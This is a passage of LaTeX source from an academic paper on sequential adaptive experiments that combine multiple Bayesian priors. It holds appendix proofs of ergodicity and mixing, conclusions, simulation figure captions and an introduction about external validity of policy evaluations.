Suppose $z$ is such that $||\nu||_{1} = T-l$ for some $l \in \{1,...,T\}$.
It follows that
\begin{align*}
Q[V](z) = & 1 + a \int ||\bar{\zeta}' ||_{1} Q(d\zeta' \mid z ) + A \int ||\nu' - \partial \mathcal{V}_{T} ||_{1} Q(d\nu' \mid z ) \\
= & 1 + a \sum_{d} \delta(z)(d) \int \left( |\bar{\zeta}'(d)| + \sum_{m \ne d} |\bar{\zeta}(m)| \right) Q(d\zeta' \mid D=d, z ) \\
& + A \sum_{d} \delta(z)(d) \int ||(\nu'(d),\nu(-d)) - \partial \mathcal{V}_{T} ||_{1} Q(d\nu' \mid D=d, z ).
\end{align*}
where $(\nu'(d),\nu(-d)) $ denotes the vector where the $d$-th coordinate is $\nu'(d)$ and the rest of the coordinates are given by $\nu(-d)$. Because $||\nu||_{1} = T-l$, it follows that $||(\nu(d)+1,\nu(-d))||_{1} = T-l-1$ and thus $||(\nu(d)+1,\nu(-d)) - \mathcal{V}_{T} ||_{1} = l-1 \leq \frac{T-1}{T} ||\nu - \mathcal{V}_{T} ||_{1} $. Moreover, if $l=0$, then $\nu'(d) = \nu(d)$ and $||(\nu'(d),\nu(-d)) - \mathcal{V}_{T} ||_{1} = 0$.
Also, observe that $|\bar{\zeta}'(d)| \leq |\bar{y}|/(1 + \nu(d)) + |\bar{\zeta}(d)| \nu(d)/(1 + \nu(d))|$ and $\nu(d) \geq \nu_{0}$. Thus,
\begin{align*}
& \sum_{d} \delta(z)(d) \int \left( |\bar{\zeta}'(d)| + \sum_{m \ne d} |\bar{\zeta}(d)| \right) Q(d\zeta' \mid D=d, z ) \\
\leq & |\bar{\zeta}(0)| \left( \sum_{d} \delta(z)(d) \omega(d,0) \right) + ... + |\bar{\zeta}(M)| \left( \sum_{d} \delta(z)(d) \omega(d,M) \right) \\
& + a \sum_{d} \frac{ \delta(z)(d) }{1 + \nu(d) } \int |\bar{y}| f_{d} ( y ) dy
\end{align*}
where $\omega(d',d) = 1$ if $d' \ne d$ and $=( \nu(d) )/(1+ \nu(d) )$ if $d'=d$. Hence, for any $m$, $ \sum_{d} \delta(z)(d) \omega(d,m) = \delta(z)(m) \frac{ \nu(m) }{1+ \nu(m) } + (1-\delta(z)(m)) \leq \epsilon \frac{ \nu(m) }{1+ \nu(m) } + (1-\epsilon) : = \gamma(\nu(m)) $ because $\delta(z)(d) \geq \epsilon$ by Assumption \ref{ass:PF.epsilon}. Let $\gamma(\nu) : = \max_{m} \gamma(\nu(m))$. Thus
\begin{align*}
Q[V](z) = & 1 + a \int ||\bar{\zeta}' ||_{1} Q(d\zeta' \mid z ) + A \int ||\nu' - \partial \mathcal{V}_{T} ||_{1} Q(d\nu' \mid z ) \\
\leq & 1 + a \gamma(\nu) ||\bar{\zeta}||_{1} + A \frac{T-1}{T} ||\nu - \partial \mathcal{V}_{T} ||_{1} + \sum_{d} \frac{ \delta(z)(d) }{1 + \nu(d) } \int |\bar{y}| \phi( y; \theta(d),1) dy\\
\leq & \gamma(\nu) V(z) + (1-\gamma(\nu)) + a \sum_{d} \frac{ \delta(z)(d) }{1 + \nu(d) } \int |\bar{y}| f_{d} ( y ) dy.
\end{align*}
Since $ \int |\bar{y}| f_{d} ( y ) dy \leq 1$ and $\nu(d) > \nu_{0}(d)$ the desired result follows. \end{proof}
\begin{lemma}
Let $C \subseteq \mathbb{Z}$ and $a,A$ be as in Lemma \ref{lem:Q.drift} and let $\bar{\gamma}$ and $R : = \inf_{z \in C^{C}} V(z)$ be such that $\bar{\gamma} > \gamma$ and
\begin{align*}
\gamma + (1 - \gamma + 0.5 a)/R \leq \bar{\gamma}
\end{align*}
Then, for all $z \in \mathbb{Z}$,
\begin{align*}
Q[V](z) \leq \bar{\gamma} V(z) + b 1_{C}(z)
\end{align*}
\end{lemma}
\begin{proof}
From Lemma \ref{lem:Q.drift}, for all $z \in \mathbb{Z}$,
\begin{align*}
Q[V](z) \leq \gamma V(z) + b,
\end{align*}
Thus
\begin{align*}
Q[V](z) \leq &\bar{\gamma} V(z) - ( \bar{\gamma} - \gamma ) V(z) + b \\
\leq & \bar{\gamma} V(z) - ( \bar{\gamma} - \gamma ) R + b.
\end{align*}
We now show that $- ( \bar{\gamma} - \gamma ) R + b < 0$. To do this, note that
\begin{align*}
- ( \bar{\gamma} - \gamma ) R + b = & (1-\gamma) + 0.5 a - ( \bar{\gamma} - \gamma ) R \\
= & 1 + \gamma (R-1) + 0.5 a - \bar{\gamma} R.
\end{align*}
\end{proof}
\begin{remark}\label{rem:Q.properties}
Let
\begin{align}
\mathcal{C} : = \prod_{m=0}^{M} \mathcal{C}(m)
\end{align}
where $\mathcal{C}(m) : = \{ (\zeta,\nu) \colon |\bar{\zeta}(m)| \leq (R/a)/(M+1)~and~\nu(m) = \mathbf{v}(m) \}$ for some $\mathbf{v} \in \partial \mathcal{V}_{T}$ and $R > 0 $. By Lemma \ref{lem:small}, this set is small.
Moreover, $\inf_{z \in \mathcal{C}^{C}} V(z) \geq R+1$. Note that since $\gamma < 1$, there exists $R$ and $a$
\begin{align*}
\gamma + b/(R+1) = \gamma + ( 1 - \gamma + 0.5 a)/(R+1) < 1 \iff \frac{0.5 a}{1-\gamma} < R.
\end{align*}
$\triangle$
\end{remark}
\subsubsection{Geometric Ergodicity}
\label{app:ergodicity}
\begin{lemma}\label{lem:Q.GeoErgodic}
There exists a constant $L$ and an invariant distribution of $Q$, $\lambda$, such that, for any $n \geq 1$ and any $z_{0} \in \mathbb{Z}$,
\begin{align*}
||Q^{n}(.|z_{0}) - \lambda || \leq L V(z_{0}) e^{- n \varrho(\epsilon) }
\end{align*}
where $\epsilon \mapsto \varrho(\epsilon)$ is positive valued, $\varrho(0) = 0$ and increasing on $\epsilon$; formally defined in the proof.
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:Q.GeoErgodic} ]
This proof follows the proof of Theorems 9 and 12 in \cite{Roberts:2004} (RR).
Lemma \ref{lem:small} imply their condition 8 and Lemma \ref{lem:Q.drift} with $\mathcal{C}$ chosen as in Remark \ref{rem:Q.properties} implies their condition 10. Moreover, proposition 11 in RR holds with $\alpha: = \alpha(a,R,\gamma)^{-1} : = \gamma + (1-\gamma + 0.5 a )/(R+1)$, which by Remark \ref{rem:Q.properties} is less than 1; moreover, it is increasing in $a$, decreasing in $R$ and decreasing on $\gamma$. Thus as pointed out in p. 47, their Theorem 12 holds. Thus,
\begin{align*}
||Q^{n}(.|z_{0}) - \pi || \leq & (1- \epsilon^{M+1} \delta_{\mathcal{C}} )^{j} + \alpha^{-n} B^{j-1}_{M} 0.5 ( V(z_{0}) + \int V(z) \pi(dz) ) \\
= : & L V(z_{0}) \left( (1- \epsilon^{M+1} \delta_{\mathcal{C}} )^{j} + \alpha^{-n} B^{j}_{M} \right)
\end{align*}
for any $0 \leq j \leq n$, where $B_{M} : = \max \{1 , \alpha^{M+1} (1- \epsilon^{M+1} \delta_{\mathcal{C}} ) \sup_{z \in \mathcal{C}} Q^{M+1}[V](z) \} $.
We now bound the term $ \alpha^{-n} B^{j}_{M} $. Observe that $\sup_{z \in \mathcal{C} } Q^{M+1}[V](z) \leq \gamma^{M+1} \sup_{z \in \mathcal{C}} V(z) + \frac{1-\gamma^{M+1} }{1-\gamma} b \leq \gamma^{M+1} ( (1+R) - b) + \frac{b}{1-\gamma} $ (recall that $b = 1-\gamma + 0.5 a$ and so \begin{align*}
(1- \epsilon^{M+1} \delta_{\mathcal{C}} ) \sup_{z \in C} Q^{M+1}[V](z) \leq (1- \epsilon^{M+1} \delta_{\mathcal{C}} ) \left( \gamma^{M+1} ( (1+R) - b) + \frac{b}{1-\gamma} \right).
\end{align*}
Abusing notation, we redefine $\gamma$ as $\gamma: = \max\{ (1- \epsilon^{M+1} \delta_{\mathcal{C}} ) , \gamma \}$ and let $R(a,\eta,\gamma) = 0.5a /(1-\gamma) + \eta$ for some $\eta>0$. It is easy to see that the previous display is bounded by
\begin{align*}
G( a, \eta , \gamma ) : = & \gamma \left( \gamma^{M+1} ( 0.5a /(1-\gamma) + \eta + \gamma - 0.5 a ) + 1 + 0.5a/(1-\gamma) \right) \\
= & \gamma \left( \gamma^{M+1} ( 0.5a \gamma /(1-\gamma) + \eta + \gamma ) + 1 + 0.5a/(1-\gamma) \right) ,
\end{align*}
which is increasing in all of its arguments. Therefore,
\begin{align*}
\alpha^{-n} B^{j}_{M} \leq \alpha(a,R(a,\eta,\gamma) ,\gamma)^{-n + j(M+1 + m)} \left( G( a, \eta, \gamma ) /\alpha(a,R(a,\eta,\gamma),\gamma)^{m} \right)^{j},~\forall m \in \mathbb{N}.
\end{align*}
We note that
\begin{align*}
G( 0, \eta, \gamma ) = \gamma \left( \gamma^{M+1} ( \eta + \gamma ) + 1 \right) ~and~\alpha(0,R(0,\eta,\gamma) ,\gamma)^{-1} : = \gamma + (1-\gamma )/(\eta +1) <1.
\end{align*}
Therefore, there exists a $m : = m(\gamma,\eta)$ such that $G( 0, \eta, \gamma ) /\alpha(0,R(0,\eta,\gamma),\gamma)^{m( \gamma ,\eta ) } < 1$. It is straightforward to show that $m(.,.)$ is non-decreasing on $\gamma$ and non-decreasing on $\eta$ (at least for large values of $\eta$). By continuity, there exists a $a(\gamma,\eta)$ such that for all $a \leq a(\gamma,\eta)$, $G( a, \eta, \gamma ) /\alpha(a,R(a,\eta,\gamma),\gamma)^{m(\gamma,\eta)} \leq 1$. Moreover, $a(.,.)$ is non-increasing in $\gamma$.
Therefore, for any $\eta>0$ and $a \leq a(\gamma,\eta)$, it follows that
\begin{align*}
\alpha^{-n} B^{j-1}_{M} \leq \alpha(a,R(a,\eta,\gamma) ,\gamma)^{-n + j(M+1 + m( \gamma, \eta ) )} .
\end{align*}
By choosing $j = 0.5 n / (M+1 + m( \gamma, \eta ) ) $ (if it is not an integer, simply take the floor), it follows that
\begin{align*}
||Q^{n}(.|z_{0}) - \pi || \leq & L V(z_{0})) \alpha(a,R(a,\eta,\gamma) ,\gamma)^{ 0.5 \frac{n}{ M+1 + m( \gamma, \eta ) } } = L V(z_{0})) \exp \{ - 0.5 n \frac{ \log \alpha^{-1}(a,R(a,\eta,\gamma) ,\gamma) }{ M+1 + m( \gamma, \eta ) } \}
\end{align*}
Observe that by the computing the total derivative of $\gamma \mapsto \log \alpha^{-1}(a,R(a,\eta,\gamma) ,\gamma) $ with respect to $\gamma$ it can be shown that this function is decreasing on $\gamma$. Since $\gamma \mapsto m(\gamma,\eta)$ is non-decreasing, it follows that $\gamma \mapsto \frac{ \log \alpha^{-1}(a,R(a,\eta,\gamma) ,\gamma) }{ M+1 + m( \gamma, \eta ) } $ is decreasing on $\gamma$. Since $\gamma$ is decreasing on $\epsilon$ and increasing on $T$, it follows that $\epsilon \mapsto \varrho(\epsilon) : = \frac{ \log \alpha^{-1}(a,R(a,\eta,\gamma) ,\gamma) }{ M+1 + m( \gamma, \eta ) }$ is increasing on $\epsilon$.
\end{proof}
\subsection{Mixing Results}
\label{app:mixing}
\begin{lemma}\label{lem:mixing}
Let $\pi$ be any probability over $\mathbb{Z}$ such that $\int V(z) \pi(dz) < \infty$ (in particular, it could be different from the invariant distribution $\lambda$). Then, the process $(Z_{t})_{t=1}^{\infty}$ with initial probabilty $\pi$ and transition $Q$ is $\beta$-mixing with mixing coefficients, $(\beta(k))_{k}$ such $\beta_{k} \leq C_{M} e^{ - k 0.5 \varrho(\epsilon)}$ for all $k \geq 1$, where
\begin{align*}
C_{M} : = 3 \int V(z) \pi(dz) + \int V(z) \lambda(dz)
\end{align*}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:mixing} ]
See Propostion 4 in \cite{liebscher:2005}.
\end{proof}
\begin{proof}[Proof of Proposition \ref{pro:Z.mixing}]
First, recall that $z = (\zeta^{0},\nu^{0})$ and Lemma \ref{lem:mixing} establishes that this process is $\beta$-mixing. Since, for all $o \in \{0,...,L\}$, $(\zeta^{o},\nu^{o},\alpha^{o})$ can be written as a deterministic function of $z$ (and the priors; see Lemmas \ref{lem:characterization.models} and \ref{lem:characterization.alpha}), conditional on the priors, the process $( \zeta_{t},\nu_{t},\alpha_{t} )_{t}$ is also $\beta$-mixing with the same convergence rate.
By assumption, $\delta$ depends on $(\zeta^{o}_{t},\nu^{o}_{t},\alpha^{o}_{t})_{o=0}^{L}$ and thus it depends on $z_{t} = (\zeta^{0}_{t},\nu^{0}_{t})$ (and the priors, but these are taken to be non-random). Henceforth, and abusing notation, we use $z \mapsto \delta(z)$ to denote this composition of functions.
Note that for any $s \in \{0,1,...\}$, $1\{ D_{s} = d \} = 1\{ \delta(Z_{s})(d) \geq U_{s} \} $ where $U_{s} \in U(0,1)$. It is easy to show that the ``expanded" process $(Z_{t},U_{t})_{t}$ is a Markov Chain with transition $Q \times U(0,1)$ and it inherits all the properties of the original one. In particular, by Lemma \ref{lem:mixing} , $(Z_{t},U_{t})_{t}$ is $\beta$-mixing with the same coefficients. Hence, $(Z_{t},D_{t})_{t}$ is also a Markov Chain with transition $Q_{ext} $ and $\beta$-mixing with the same coefficients
Since $Y_{t} = Y_{t}(D_{t})$ is a deterministic function of IID random variables, $(Y_{t}(d))_{d}$ and $D_{t}$. So to show that $(Z_{t},D_{t},Y_{t})_{t}$ is $\beta$-mixing with the same coefficients, it suffices to show that $(Z_{t},D_{t},Y_{t}(0),...,Y_{t}(M) )_{t}$ is $\beta$-mixing with the same coefficients. It is easy to show that the ``expanded" process $(Z_{t},D_{t},Y_{t}(0),...,Y_{t}(M) )_{t}$ is a Markov Chain with transition $Q_{ext} \times F(0) \times ... \times F(M) $ and it inherits all the properties of the original one. In particular, by Lemma \ref{lem:mixing} , $(Z_{t},D_{t},Y_{t}(0),...,Y_{t}(M) )_{t}$ is $\beta$-mixing with the same coefficients. Therefore, $(Z_{t},D_{t},Y_{t})_{t}$ is a Markov Chain and is $\beta$-mixing with mixing coefficients, $(\beta(k))_{k}$ such $\beta_{k} \leq C e^{ - 0.5 k \varrho(\epsilon)} $ for all $k \geq 1$.
\end{proof}
\section{Conclusions}\label{sec:conclusions}
This paper presents a framework for how to incorporate prior sources of information into the design of a sequential experiment. We show that our setup offers several nice properties, including a robustness to ``incorrect'' priors. We also propose a formal definition of external validity that in the context of our setup allows us to differentiate across models in terms of their degree of external invalidity.
Even though we motivated our framework as a way for policymakers or researchers to incorporate prior evidence into their design of an adaptive experiment, we believe our framework is quite general and thus applicable to other types of diverse problems, ranging from online marketing campaigns to the targeting government programs.
\section{Figures}
\begin{figure}[h]
\includegraphics[width=\textwidth]{Alphas_CloserPriors.png}
\caption{External Validity - $\alpha^o_t$}
\label{fig:MultiPriors}
\floatfoot{Notes: This figure plots $\alpha^0(d=0,x)$ (left plot) and $\alpha^0(d=1,x)$ (right plot) under two alternative sets of priors. For the confident model, the initial priors are: $\zeta^0_0=\zeta^1_0=\theta; \nu^0_0 = [1,1];\nu^1_0=[250,250]$. For the stubborn model, the initial priors are: $\zeta^0_0=\theta; \zeta^1_0=\theta+0.3; \nu^0_0 = [1,1];\nu^1_0=[250,250]$. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$, $\epsilon=0.5$. }
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{Beliefs_Zeta.png}
\caption{Posterior Beliefs Over Time, Holding Behavior Constant}
\label{fig:zeta_beliefs}
\floatfoot{Notes: This figure plots the policymakers posterior beliefs (i.e. $[\zeta^o_t(0,x),\zeta^o_t(1,x)]$) over time, distinguishing between two alternative sets of initial priors. In the top panel, one of the initial priors is stubborn; and in the bottom panel, one of the initial priors is confident. For the stubborn model, the initial priors are: $\zeta^0_0=\theta; \zeta^1_0=\theta+0.3; \nu^0_0 = [1,1];\nu^1_0=[250,250]$. For the confident model, the initial priors are: $\zeta^0_0=\zeta^1_0=\theta; \nu^0_0 = [1,1];\nu^1_0=[250,250]$. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$, $\epsilon=0.5$. }
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{ConcentrationBounds_Epsilon.png}
\caption{Concentration Bounds and Frequency of Play}
\label{fig:CB_epsilon}
\floatfoot{Notes: The top panel plots concentration bounds over time for different values of $\epsilon$. The bottom panel plots the number of times the experimental arm was played at time $t$ for different values of $\epsilon$. The graphs on the left correspond treatment arm $d=0$; the graphs on the right correspond to treatment arm $d=1$. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$; $\zeta_0^o=\theta$; $\zeta_1^o=\theta$; $\nu_0^o=[1,1]$; $\nu_1^o=[1,1]$. }
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{ConcentrationBounds_Priors.png}
\caption{Concentration Bounds by Model Stubbornness}
\label{fig:CB_Priors}
\floatfoot{Notes: The figure plots concentration bounds over time for different degrees of model stubbornness. The lines in these plots appear in descending order of stubbornness, with the top line being most stubborn and the bottom line being the most confident. The graphs on the left correspond treatment arm $d=0$; the graphs on the right correspond to treatment arm $d=1$. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$, $\epsilon=0.5$. The initial priors are specified in the legend.}
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{stopping.png}
\caption{Stopping Period and Probability of Making a Mistake}
\label{fig:stopping}
\floatfoot{Notes: This figure plots the average stopping period (left axis) and the probability of making a mistake at the stopping period (right axis) by $\epsilon$. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$; $\zeta_0^o=\theta$; $\zeta_1^o=\theta$; $\nu_0^o=[1,1]$; $\nu_1^o=[1,1]$; $B=100$. }
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{Bias.png}
\caption{Probability of Making a Mistake by Model Bias}
\label{fig:bias}
\floatfoot{Notes: The figure plots the probability of making a mistake at the stopping period by the degree of bias in model 1's initial priors. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$; $\nu^0_0=\nu^1_0=[250,250]$; $\zeta^0_0=[\theta(0)+bias,\theta(1)-bias]$ ; $\zeta^1_0=\theta$, $\epsilon=0.5$. }
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{Earnings.png}
\caption{Relative Average Earnings During the Experiment}
\label{fig:earnings}
\floatfoot{Notes: This figure plots by $\epsilon$, the average earnings net of maximal earnings. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$; $\zeta_0^o=\theta$; $\zeta_1^o=\theta$; $\nu_0^o=[1,1]$; $\nu_1^o=[1,1]$.}
\end{figure}
\begin{figure}[h]
\includegraphics[width=\textwidth]{Payoff.png}
\caption{Experimentation versus Exploitation -- Expected Payoffs }
\label{fig:payoffs}
\floatfoot{Notes: This figure plots by $\epsilon$, the expected payoffs as defined by Equation \ref{eq:payoffs}. These figures are based on 1,000 simulations using the following parameters: $\theta=[1,1.3]$; $\zeta_0^o=\theta$; $\zeta_1^o=\theta$; $\nu_0^o=[1,1]$; $\nu_1^o=[1,1]$; $B=100$; $\beta^t =0.994$; $c=1.15$; $\lambda = 1,100$. }
\end{figure}
\section{Introduction}
Governments around the world are importing policies or programs that have been shown to be successful in other settings. Take for example, Mexico's conditional cash transfer program, \emph{Oportunidades}. Since its inception in 1997, it has been replicated in over 52 countries around the world.\footnote{See https://www.worldbank.org/en/news/feature/2014/11/19/un-modelo-de-mexico-para-el-mundo.} Other examples of policy interventions that have been exported to various settings include pay-for-performance schemes for teachers, charter schools \citep{Chabrier_etal:2016}, access to microcredit \citep{Banerjee_etal:2015}, and BRAC's ultra-poor graduation program \citep*{Banerjee_etalb:2015}.
When a policymaker decides to adopt a policy based on evidence from previous evaluations, she must assess whether those results will extrapolate to her setting. And depending on her degree of uncertainty, the policymaker may want to experiment. On the one hand, if the policymaker is certain that the benefits would extrapolate then the learning gains from experimentation may not justify the costs of withholding the program's benefits from her beneficiaries. On the other hand, if her uncertainty is high, she may want to experiment first before expanding the program to scale.
At the heart of this decision lies two issues. One is how much experimentation (versus exploitation) should our policymaker do? And two, how do we incorporate knowledge from experts or previous experiments into our decision process? The first question is relatively well understood and a few recent studies have shown how we can use algorithms such as, Thompson Sampling or $\epsilon$-greedy, to solve this problem and achieve efficiency gains over a standard randomized control trial. But within this framework, the second question remains relatively unexplored. One of the key contributions of this paper is to provide a simple, but novel approach for doing so.
We consider a policymaker who has to decide how to assign a set of treatments sequentially to an eligible population and when to stop the experiment. Subjects arrive in stages and at the beginning of each stage, the policymaker must first decide whether to stop the experiment. If she stops the experiment, she then assigns what she thinks is the best treatment to all subsequent subjects. But if the policymaker decides to continue the experiment, she assigns treatment just to the new arrivals and then moves onto a new stage. At each stage, the policymaker knows the history of previous treatment assignments and the corresponding realized outcomes, but does not know the probability distributions of potential outcomes, which she tries to learn about using the observed data. The policymaker does, however, have priori information about these distributions, which can arise from many sources, including her own introspection and knowledge, previous experiments, or expert opinions.
To model this problem, we take a multi-armed bandit setup and enhance it with a multi-prior Bayesian learning model (e.g. \cite{EPSTEIN20031} and references therein), wherein each source of information is treated as a different prior. As in most randomized control trials, our policymaker aims to learn the average treatment effects. As the policymaker gathers more data, she updates each of these priors using Bayes' rule and then aggregates each source's posterior according to their posterior model probability. On the basis of these beliefs, the policymaker then decides whether to stop the experiment and which treatment to assign.
In these types of sequential experiments, it is common for the policymaker to not use the optimal assignment rule. It is well known that in settings in which the policymaker must learn the truth, the optimal assignment rule (i.e. the one that maximizes her \emph{subjective} payoff) can have undesirable properties, such as failing to learn the correct treatment effects or being hard to compute and implement.\footnote{To illustrate this point, consider a simple model with two treatments, A and B. For simplicity, suppose the policymaker knows that the average effect of treatment A is zero. The policy maker, however, does not know the true average effect of treatment B and incorrectly believes that it is negative. In this simple example, the optimal policy function never assigns treatment B; and without feedback, the policymaker will never update her (incorrect) prior that treatment B is bad. While this assignment rule is optimal from the perspective of the policymaker, it is undesirable from an objective point of view. This example also illustrates the need for experimentation because such a situation would not occur if the policy rule involved some degree of experimentation.} As a result, the literature on multi-armed bandits have studied certain properties of different heuristic strategies such as $\epsilon$-greedy \citep{Watkins:1989} and Thompson Sampling \citep{Thompson:1933} and its refinements (e.g. Upper Confidence Bounds \citep{LaiRobbins:1985}, or exploration sampling \citep{KasySautmann:2021}). We take a different approach and study a \emph{class} of assignment rules, in which the policy functions are Markov -- it does not depend on the stage -- and whose probability of choosing any treatment is bounded away from zero. While these restrictions are not innocuous, especially the second one, they are sufficiently general to encompass, under certain conditions, many of the commonly-used solutions in multi-armed bandit problems, including those aforementioned.
Given that optimality from the perspective of the policymaker may not be desirable, we evaluate our class of assignment rules on the basis of three regularly-used outcomes that are considered to be important from the point of view of an outside observer. Specifically, we explore whether the policymaker learns the true average treatment effects and at what rate. We also consider the likelihood that the policymaker does not choose the most beneficial treatment arm when deciding to stop the experiment. The third outcome measures the average payoff of the policymaker. Unlike the other two criteria, which are statistical in nature (i.e. they describe statistical properties of the experiment and its assignment rule), this outcome captures how much subjects benefit in net from the experiment both during and afterwards. When evaluated along these criteria, we can show, both theoretically and via Monte Carlo simulations, that our setup exhibits several nice finite sample properties, including robustness to incorrect priors.
More precisely, we show that our policymaker will learn the average treatment effects, in the sense that the posterior mean concentrates around the true mean, and it does so at a rate of $\sqrt{\log t/t}$, where $t$ is the number of stages. That this result holds was not, ex ante, at all obvious: in contrast to a standard randomized control trail setting, the policy functions in our setup are quite general and can depend on the entire history of play, thus creating time-dependence in the data. Nevertheless, by exploiting the assumption that any treatment is played with positive probability, we are able to bring to bear results from Markov Chain theory to show that the data dependence vanishes ``fast'' (formally, that is $\beta$-mixing with exponential decay). In addition, we employ concentration inequalities for dependent processes to not only obtain the rate of $\sqrt{\log t/t}$, but also to characterize and quantify how this rate depends on the initial parameters of the setup, such as the amount of experimentation. Indeed, we show that the more the policymaker experiments, the faster she learns the average effects of the treatments.
Our technique of proof also allows us to quantify how the concentration rate is affected by the different priors. Importantly, we are able to show that our aggregation method exhibits an attractive robustness property. To aggregate her multiple priors, our policymaker uses a Bayesian approach that weights each prior according to the posterior probability that a particular model best fits the observed data within the class of sources being considered. Thus, if relative to the other priors, one of the policymaker's priors (about the average effects of the treatments) puts ``low probability'' on the true mean, then our approach will place close to zero weight on this source when aggregating across sources. Consequently, this prior will have little to no effect on the policymaker's decisions or the learning rate. In other words, our model discards sources that do not extrapolate well to the current experiment, thereby exhibiting robustness to sources of information that are not externally valid. Similarly, sources whose priors put high probability on the truth receive higher weights that can approach one in finite samples. This feature gives rise to an oracle type property wherein our concentration rates are close to those associated to the best source (the one with priors more concentrated around the truth) provided the other sources are sufficiently separated from this one.
Besides assigning treatments, our policymaker also has to consider when to stop the experiment, which can have important welfare consequences. In our setup, the policymaker works with a class of stopping rules that stops the experiment when the average effect of a treatment is sufficiently above the others. This class of rules resembles a test of two means, but takes into account the fact that the data are not IID. Of course, whenever we stop an experiment, we worry about the possibility of making a mistake (i.e. not choosing the most beneficial treatment). We characterize the bounds on the probability of making a mistake for our setup. We show that these bounds decay exponentially fast with the length of the experiment, and that they are non-increasing in the degree of experimentation and in the size of the treatment effects. Moreover, we propose stopping rules that for any given tolerance level will yield a probability of mistake below it.
Finally, we also characterize the behavior of the average observed outcomes by computing bounds for the rate at which the average observed outcomes converges to the maximum expected outcome. We show that the rate of convergence for these bounds are, in effect, governed by an ``exploitation versus exploration'' tradeoff. If we increase the degree of experimentation (less exploitation, more exploration) our data become more independent and we converge more quickly. However, by exploring more, we are also increasing the bias associated with not choosing the optimal treatment. Unfortunately, these bounds are sufficiently complicated that we cannot characterize analytically the ``optimal'' degree of experimentation. Nevertheless, the results do suggest that pure experimentation (the case of an RCT) is unlikely to be optimal, and we verify this numerically in a series of simulations.
Our paper relates to three strands of the literature. First, we speak to an extensive multi-disciplinary literature on adaptive experimental design. Much of the focus of this literature has been on the multi-arm bandit problem, which considers how best to assign experimental units sequentially across treatment arms. Depending on the objective function, numerous studies have proposed a variety of alternative algorithms that, on average, outperform the static assignment mechanisms of traditional RCTs.\footnote{See \cite{AtheyImbens:2019} for a survey of machine learning techniques as it applies to experimental design and problems in economics.} In this paper, we focus less about constructing an alternative policy function, than about on how to introduce information from different sources for a given class of policy functions. By doing so, the fundamental `earn vs learn' tradeoff that characterizes the multi-arm bandit problem is not only a function of sampling variability in target data, but also uncertainty over the data generating process of the source data. To our knowledge, this is the first paper to introduce multiple priors into the design of an adaptive experiment.
By introducing issues of externality validity into the multi-arm bandit problem, our study also connects to the literature on measuring the generalizability of experiments. In general, scholars have taken three approaches for assessing external validity. One common approach is to measure how well treatment effect heterogeneity extrapolates to `left out' study sites. Under the assumption that study site characteristics are independent of potential outcomes, a number of studies applying alternative estimators have interpreted the out-of-sample prediction errors as a measure or test of external validity.\footnote{ See for example \cite{BoGaliani:2020}, \cite{Dehejia_etal:2021}, \cite{Stuart_etal:2011}, \cite{Buchanan_etal:2018}, \cite{ImaiRatkovi:2013}, \cite{Hotz_etal:2005} and the references cited therein.} A related approach uses local average treatment effects across different complier populations to test for evidence of external validity (e.g. \cite{angristfv:2013, Kowalski:2016, Bisbee_etal:2017}).
The general idea being that if differences in observable characters across subgroups explain differences in treatment effect heterogeneity then we can make some claim for external validity. A third common approach adopted in the meta-analysis literature is the use of hierarchical models to aggregate treatment effects across different study sites. A byproduct of this framework is a ``pooling factor'' across study sites that has a natural interpretation of generalizability. The factor compares the sampling variation of a particular study site to the underlying variation in treatment heterogeneity: the higher the measure, the larger the sampling error and the less informative the study site is about the overall treatment effect (e.g. \cite{Vivalt:2020}, \cite{GelmanCarlin:2014}, \cite{GelmanPardoe:2006}, \cite{Meager:2020}).\footnote{The first and third approaches --- and hence our paper as well --- relates to a burgeoning sub-branch of machine learning called transfer learning (see \cite{Pan:2010} for a survey) wherein a model developed for a task is re-used as the starting point for a model on a second task. Even though elements of our problem are conceptually similar, to the best of our knowledge both our setup and approach are different to those considered in transfer learning.}
Our paper contributes to these approaches in two ways. First, we provide a formal definition for a subjective Bayesian model to be externally invalid using a Kullblack-Leibler (KL) divergence criteria. Importantly, our definition offers a way to quantify or rank external invalidity among models. Second, we provide a link between this ranking of external invalidity and our aggregation method. We shows that, as $t$ diverges, the weights are only positive for the least externally invalid models, allowing us to interpret these weights as measures of external validity.
While it is natural to interpret our measure of external validity in the context of other experiments, our setup is agnostic as to the source of the information and its level of uncertainty. Whether the policymaker’s priors come from previous experiments, observational studies, or expert opinions is largely immaterial for our setup. In this respect, our study also relates to a nascent, but growing literature measuring the extent to which experts can forecast experimental results (e.g. \cite{DellaVignaPope:2018,DellaVigna_etal:2020}). Our paper provides a method for incorporating these forecasts n the design of policy evaluations in a manner that is robust to misspecified priors or behavioral biases \citep{VivaltColville:2021}.
The structure of the paper proceeds as follows. In Section \ref{sec:setup}, we set up the problem. We present two versions of the setup, one for the general model and the other for a Markov Gaussian model. In Section \ref{sec:analytical_results}, we provide analytical results for the Markov Gaussian model. We then illustrate the main analytical results by simulation in Section \ref{sec:simulations}. Section \ref{sec:conclusions} concludes.
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\section{Analytical Results for the Markov Gaussian Model}\label{sec:analytical_results}
In this section, we derive analytical results for the Gaussian model presented in Section \ref{sec:specific}. But before we do so, a bit of housekeeping is required. Moving forward, we will omit $x$ from the notation and derive our results for $|\mathbb{X}| = 1$. Given our assumptions, we learn the fundamentals for each $x \in \mathbb{X}$ by treating them as separate and independent problems. Thus, we can extend all our results to the case of $|\mathbb{X}| >1$ by taking the relevant quantities (e.g. $\theta(d)$, $Y(d)$, etc.) as vectors of dimension $|\mathbb{X}|$. Furthermore, to derive the results below we will need some assumptions on the (true) distribution of the potential outcomes. Thus, we impose the following assumption:
\begin{assumption}\label{ass:sub-gauss}
